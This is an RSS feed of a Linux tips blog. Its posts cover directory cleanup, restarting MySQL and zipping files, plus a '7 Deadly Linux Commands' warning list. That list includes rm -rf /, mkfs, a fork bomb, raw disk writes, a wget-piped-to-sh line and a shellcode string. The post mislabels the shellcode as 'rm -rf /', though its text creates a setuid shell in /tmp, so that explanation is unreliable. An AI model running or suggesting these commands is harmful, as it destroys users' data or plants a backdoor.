<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Apache, Linux ,Seo tricks and many more &#187; commands</title>
	<atom:link href="http://www.gossiplime.com/tag/commands/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.gossiplime.com</link>
	<description>This blog is just for all persons to know more about php, apache , linux , seo etc</description>
	<lastBuildDate>Wed, 08 Jul 2009 16:40:40 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>How do I remove all empty directories?</title>
		<link>http://www.gossiplime.com/2009/06/how-do-i-remove-all-empty-directories/</link>
		<comments>http://www.gossiplime.com/2009/06/how-do-i-remove-all-empty-directories/#comments</comments>
		<pubDate>Wed, 24 Jun 2009 15:40:53 +0000</pubDate>
		<dc:creator>sps</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[commands]]></category>
		<category><![CDATA[delete]]></category>
		<category><![CDATA[script]]></category>

		<guid isPermaLink="false">http://www.gossiplime.com/?p=322</guid>
		<description><![CDATA[You can use program called cleanlinks. The cleanlinks program searches the directory tree descended from the current directory for symbolic links whose targets do not exist, and removes them. It then removes all empty directories in that directory tree. It was originally created for symbolic links based directories but works with normal directories too. For [...]]]></description>
			<content:encoded><![CDATA[<p>You can use program called cleanlinks. The cleanlinks program searches the directory tree descended from the current directory for symbolic links whose targets do not exist, and removes them. It then removes all empty directories in that directory tree. It was originally created for symbolic links based directories but works with normal directories too.</p>
<p>For example if you want to remove all empty directories from /tmp directory, type the command:</p>
<blockquote><p>$ cd /tmp<br />
$ cleanlinks</p></blockquote>
<p>Please note that cleanlinks command is part of XFree86 project. Another method is to use combination of shell commands in script:</p>
<blockquote><p>#/bin/bash<br />
DIR=&#8221;$1&#8243;<br />
[ -d $DIR ] &amp;&amp; [ $(ls -l $DIR | wc -l) -eq 1  ] &amp;&amp; rmdir $DIR ||  :</p></blockquote>
<p>Save and execute a script:</p>
<blockquote><p>$ script.sh dir1</p></blockquote>
<p>You can also try out tmpreaper command which recursively searches for and removes files and empty directories which haven&#8217;t been accessed for a given number of seconds. Normally, it&#8217;s used to clean up directories which are used for temporary holding space, such as &#8220;/tmp&#8221;. Syntax is as follows:<br />
<strong>tmpreaper TIME-FORMAT DIRS</strong></p>
<p>Where,</p>
<ul>
<li>TIME-FORMAT : Defines the age threshold for removing files. The TIME-FORMAT should be a number, defaulting to hours, optionally suffixed by one character: d for days, h for hours, m for minutes, or s for seconds.</li>
<li>DIRS : Directory name for example /tmp</li>
</ul>
<p>For example, remove all files accessed 24h before:</p>
<p># tmpreaper 24h /tmp</p>
<p>Please note that tmpreaper command is not installed by default you may need to install it using apt-get or rpm command.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.gossiplime.com/2009/06/how-do-i-remove-all-empty-directories/feed/</wfw:commentRss>
		<slash:comments>23</slash:comments>
		</item>
		<item>
		<title>Restart Mysql from ssh</title>
		<link>http://www.gossiplime.com/2009/02/restart-mysql-from-ssh/</link>
		<comments>http://www.gossiplime.com/2009/02/restart-mysql-from-ssh/#comments</comments>
		<pubDate>Tue, 10 Feb 2009 11:13:12 +0000</pubDate>
		<dc:creator>sps</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Mysql]]></category>
		<category><![CDATA[commands]]></category>
		<category><![CDATA[ssh]]></category>

		<guid isPermaLink="false">http://www.gossiplime.com/?p=265</guid>
		<description><![CDATA[To restart mysql service from command line (ssh) * Login to SSH as root using a program like putty. * Type the following command, /scripts/restartsrv_mysql Hope you all enjoy this command.]]></description>
			<content:encoded><![CDATA[<p>To restart mysql service from command line (ssh)</p>
<p>* Login to SSH as root using a program like putty.<br />
* Type the following command,</p>
<blockquote><p>/scripts/restartsrv_mysql</p></blockquote>
<p>Hope you all enjoy this command.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.gossiplime.com/2009/02/restart-mysql-from-ssh/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Zip file via ssh</title>
		<link>http://www.gossiplime.com/2009/02/zip-file-via-ssh/</link>
		<comments>http://www.gossiplime.com/2009/02/zip-file-via-ssh/#comments</comments>
		<pubDate>Sat, 31 Jan 2009 21:42:42 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[commands]]></category>
		<category><![CDATA[ssh]]></category>
		<category><![CDATA[zip]]></category>

		<guid isPermaLink="false">http://www.gossiplime.com/?p=198</guid>
		<description><![CDATA[How many of you know how to zip a file by ssh # zip -r example.zip www This zips all files and directories -r:Includes all files and directories -&#62; Files example.zip:The zip file you want to create www : The folder you are targetting or use * if your currently in the folder. Comments are [...]]]></description>
			<content:encoded><![CDATA[<p>How many of you know how to zip a file by ssh</p>
<blockquote>
<pre class="text geshifilter-text" style="font-family: monospace;"><span style="color: #008080;"><strong><span style="color: #993300;"># zip -r example.zip www</span>
</strong></span>
This zips all files and directories</pre>
<ul>
<li>-r:Includes all files and directories -&gt; Files</li>
<li>example.zip:The zip file you want to create</li>
<li>www : The folder you are targetting or use * if your currently in the folder.</li>
</ul>
<p>Comments are invited! <img src='http://www.gossiplime.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<pre class="text geshifilter-text" style="font-family: monospace;"></pre>
</blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.gossiplime.com/2009/02/zip-file-via-ssh/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>7 Deadly Linux Commands</title>
		<link>http://www.gossiplime.com/2008/10/7-deadly-linux-commands/</link>
		<comments>http://www.gossiplime.com/2008/10/7-deadly-linux-commands/#comments</comments>
		<pubDate>Wed, 29 Oct 2008 04:09:14 +0000</pubDate>
		<dc:creator>sps</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[commands]]></category>
		<category><![CDATA[Shell]]></category>
		<category><![CDATA[Unix]]></category>

		<guid isPermaLink="false">http://www.gossiplime.com/?p=31</guid>
		<description><![CDATA[If you are new to Linux, chances are you will meet a stupid person perhaps in a forum or chat room that can trick you into using commands that will harm your files or even your entire operating system. To avoid this dangerous scenario from happening, I have here a list of deadly Linux commands [...]]]></description>
			<content:encoded><![CDATA[<p>If you are new to Linux, chances are you will meet a stupid person perhaps in a forum or chat room that can trick you into using commands that will harm your files or even your entire operating system. To avoid this dangerous scenario from happening, I have here a list of deadly Linux commands that you should avoid.</p>
<p>1. Code:</p>
<div style="text-align: left; font-weight: bold;"><span style="font-style: italic;"><br />
rm -rf /</span></div>
<p>This command will recursively and forcefully delete all the files inside the root directory.</p>
<p>2. Code:</p>
<p><span style="font-style: italic; font-weight: bold;">char esp[] __attribute__ ((section(&#8220;.text&#8221;))) /* e.s.p</span><br />
<span style="font-style: italic; font-weight: bold;">release */</span><br />
<span style="font-style: italic; font-weight: bold;"> = &#8220;xebx3ex5bx31xc0x50x54x5ax83xecx64x68&#8243;</span><br />
<span style="font-style: italic; font-weight: bold;"> &#8220;xffxffxffxffx68xdfxd0xdfxd9x68x8dx99&#8243;</span><br />
<span style="font-style: italic; font-weight: bold;"> &#8220;xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7&#8243;</span><br />
<span style="font-style: italic; font-weight: bold;"> &#8220;x56x04xf7x56x08xf7x56x0cx83xc4x74x56&#8243;</span><br />
<span style="font-style: italic; font-weight: bold;"> &#8220;x8dx73x08x56x53x54x59xb0x0bxcdx80x31&#8243;</span><br />
<span style="font-style: italic; font-weight: bold;"> &#8220;xc0x40xebxf9xe8xbdxffxffxffx2fx62x69&#8243;</span><br />
<span style="font-style: italic; font-weight: bold;"> &#8220;x6ex2fx73x68x00x2dx63x00&#8243;</span><br />
<span style="font-style: italic; font-weight: bold;"> &#8220;cp -p /bin/sh /tmp/.beyond; chmod 4755</span><br />
<span style="font-style: italic; font-weight: bold;">/tmp/.beyond;&#8221;;</span></p>
<p>This is the hex version of [rm -rf /] that can deceive even the rather experienced Linux users.</p>
<p>3. Code:</p>
<p><span style="font-weight: bold; font-style: italic;">mkfs.ext3 /dev/sda</span></p>
<div style="text-align: justify;">This will reformat or wipeout all the files of the device that is mentioned after the mkfs command.</div>
<p>4. Code:</p>
<p><span style="font-weight: bold; font-style: italic;"> <img src='http://www.gossiplime.com/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> ){:|:&amp;};:</span></p>
<div style="text-align: justify;">Known as forkbomb, this command will tell your system to execute a huge number of processes until the system freezes. This can often lead to corruption of data.</div>
<p>5. Code:</p>
<p><span style="font-weight: bold; font-style: italic;">any_command &gt; /</span><span id="SPELLING_ERROR_0" class="blsp-spelling-error" style="font-weight: bold; font-style: italic;"><span id="SPELLING_ERROR_0" class="blsp-spelling-error">dev</span></span><span style="font-weight: bold; font-style: italic;">/</span><span id="SPELLING_ERROR_1" class="blsp-spelling-error" style="font-weight: bold; font-style: italic;"><span id="SPELLING_ERROR_1" class="blsp-spelling-error">sda</span></span></p>
<div style="text-align: justify;">With this command, raw data will be written to a block device that can usually clobber the <span id="SPELLING_ERROR_2" class="blsp-spelling-error"><span id="SPELLING_ERROR_2" class="blsp-spelling-error">filesystem</span></span> resulting in total loss of data.</div>
<p>6. Code: <span id="SPELLING_ERROR_3" class="blsp-spelling-error"></p>
<p></span><span id="SPELLING_ERROR_3" class="blsp-spelling-error" style="font-weight: bold; font-style: italic;"><span id="SPELLING_ERROR_3" class="blsp-spelling-error">wget</span></span><span style="font-weight: bold; font-style: italic;"> http://some_untrusted_source -O- | sh</span></p>
<p>Never download from untrusted sources, and then execute the possibly malicious codes that they are giving you.</p>
<p>7. Code: <span id="SPELLING_ERROR_4" class="blsp-spelling-error"></p>
<p></span><span id="SPELLING_ERROR_4" class="blsp-spelling-error" style="font-weight: bold; font-style: italic;"><span id="SPELLING_ERROR_4" class="blsp-spelling-error">mv</span></span><span style="font-weight: bold; font-style: italic;"> /home/</span><span id="SPELLING_ERROR_5" class="blsp-spelling-error" style="font-weight: bold; font-style: italic;"><span id="SPELLING_ERROR_5" class="blsp-spelling-error">yourhomedirectory</span></span><span style="font-weight: bold; font-style: italic;">/* /</span><span id="SPELLING_ERROR_6" class="blsp-spelling-error" style="font-weight: bold; font-style: italic;"><span id="SPELLING_ERROR_6" class="blsp-spelling-error">dev</span></span><span style="font-weight: bold; font-style: italic;">/null</span></p>
<p>This command will move all the files inside your home directory to a place that doesn&#8217;t exist; hence you will never ever see those files again.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.gossiplime.com/2008/10/7-deadly-linux-commands/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

